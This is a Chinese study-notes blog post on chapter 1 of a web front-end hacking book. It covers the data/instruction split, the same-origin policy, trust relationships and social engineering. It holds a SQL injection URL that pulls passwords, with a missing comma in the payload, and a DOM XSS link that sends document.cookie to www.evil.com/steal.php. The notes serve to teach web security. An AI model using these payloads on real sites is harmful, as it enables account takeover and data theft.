web前端黑客技术揭秘——ch01web安全关键点

1、数据与指令

数据:
1、服务端存储的:数据库内存、文件系统
2、客户端存储的:本地cookie、Flash cookie等
3、传输中的:json数据、XML数据
4、文本数据:HTML、JavaScript、CSS等
5、多媒体数据:Flash、MP3等
6、图片数据
数据流的每个环节都可能出现安全风险。因为数据流有可能被“污染”,而不像预期的那样存储或传输。
如何存储、传输并呈现出这些数据,这需要执行指令;指令就是要执行的命令
1、SQL注入攻击的发生
<1>通过http://www.foo.com/user.php?id=1执行select username,email,desc from users where id=1;
<2>攻击者提交 1 union select password,1,1 from users
<3>组成链接形式为:
http://www.foo.com/user.php?id=1 union select password 1,1 from users
<4>组成的SQL语句为:
select username,email,desc from users where id=1 union select password 1,1 from users
2、XSS跨站脚本攻击的发生

将这段代码保存到 http://www.foo.com/info.html 中。
JavaScript 的内置函数 eval 可以动态执行 JavaScript 语句,location.hash 获取的是链接
http://www.foo.com/info.html#callback 中的#符号及其后面的内容。substr 是字符串截取函数,
location.hash.substr(1)表示截取#符号之后的内容,随后给 eval 函数进行动态执行。
3
Web 前端黑客技术揭秘
如果攻击者构造出如下链接:
http://www.foo.com/info.html#new%20Image().src=“http://www.evil.com/stea
l.php?c=”+escape(document.cookie)
浏览器解释执行后,下面的语句:
eval(location.hash.substr(1));
会变为:
eval(‘new Image().src=“http://www.evil.com/steal.php?c=”+escape(document.
cookie)’)
当被攻击者被诱骗访问了该链接时,Cookies 会话信息就会被盗取到黑客的网站上,一
般情况下,黑客利用该 Cookies 可以登录被攻击者的账号,并进行越权操作。由此可以看
到,攻击的发生是因为注入了一段恶意的指令,并且该指令能被执行。

2、浏览器的同源策略

同源策略规定:不同域的客户端脚本在没有明确授权的情况下,不能读写对方的资源。
关键字:不同域、客户端脚本、授权、读写、资源
1、不同域或同域
同域:两个站点同协议、同域名、同端口
2、客户端脚本
JavaScript、ActionScript
3、授权
客户端也存
在授权现象,比如:HTML5 新标准中提到关于 AJAX 跨域访问的情况,默认情况下是不允
许跨域访问的,只有目标站点(假如是 http://www.foo.com)明确返回 HTTP 响应头:
Access-Control-Allow-Origin: http://www.evil.com
那么 www.evil.com 站点上的客户端脚本就有权通过 AJAX 技术对 www.foo.com 上的数据
进行读写操作。
AJAX 是 Asynchronous JavaScript And XML 的缩写,让数据在后台进行异步传输,
常见的使用场景有:对网页的局部数据进行更新时,不需要刷新整个网页,以节省带宽资源。AJAX 也是黑客进行 Web 客户端攻击常用的技术,因为这样攻击就可以悄无声息地在浏览器后台进行,做到“杀人无形”。
4、读写权限
Web 上的资源有很多,有的只有读权限,有的同时拥有读和写的权限。比如:HTTP请求头里的 Referer(表示请求来源)只可读,而document.cookie 则具备读写权限。这样的区分也是为了安全上的考虑。
5、资源
资源包括:HTTP 消息头、整个 DOM 树、浏览器存储(如:
Cookies、Flash Cookies、localStorage 等)。客户端安全威胁都是围绕这些资源进行的。
DOM全称为Document Object Model,即文档对象模型,就是浏览器将HTML/XML这样的文档抽象成一个树形结构,树上的节点都代表HTML/XML中的标签、标签属性或标签内容等。这样抽象出来就大大方便了JavaScript进行读写操作。web客户端的攻击都离不开DOM操作。

3、信任与信任关系

安全类似木桶原理,短的那块板决定了木桶实际能装多少水。一个 Web 服务器,如果其上的网站没做好权限分离,没控制好信任关系,则整体安全性就由安全性最差的那个网站决定。
这种信任关系很普遍,服务器与服务器、网站与网站、Web 服务的不同子域、Web 层面与浏览器第三方插件、Web 层面与浏览器特殊 API、浏览器特殊 API 与本地文件系统、嵌入的 Flash 与当前 DOM 树、不同协议之间,等等。一个安全性非常好的网站有可能会因为建立了不可靠的信任关系,导致网站被黑。

4、社会工程学的作用

社工就是“骗”,即如何伪装攻击以欺骗目标用户。
常用的社工辅助技巧有:Google Hack、SNS 垂直搜索、各种收集的数据库集合查询等。

5、攻防不单一

SQL注入+CSRF

6、场景很重要

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值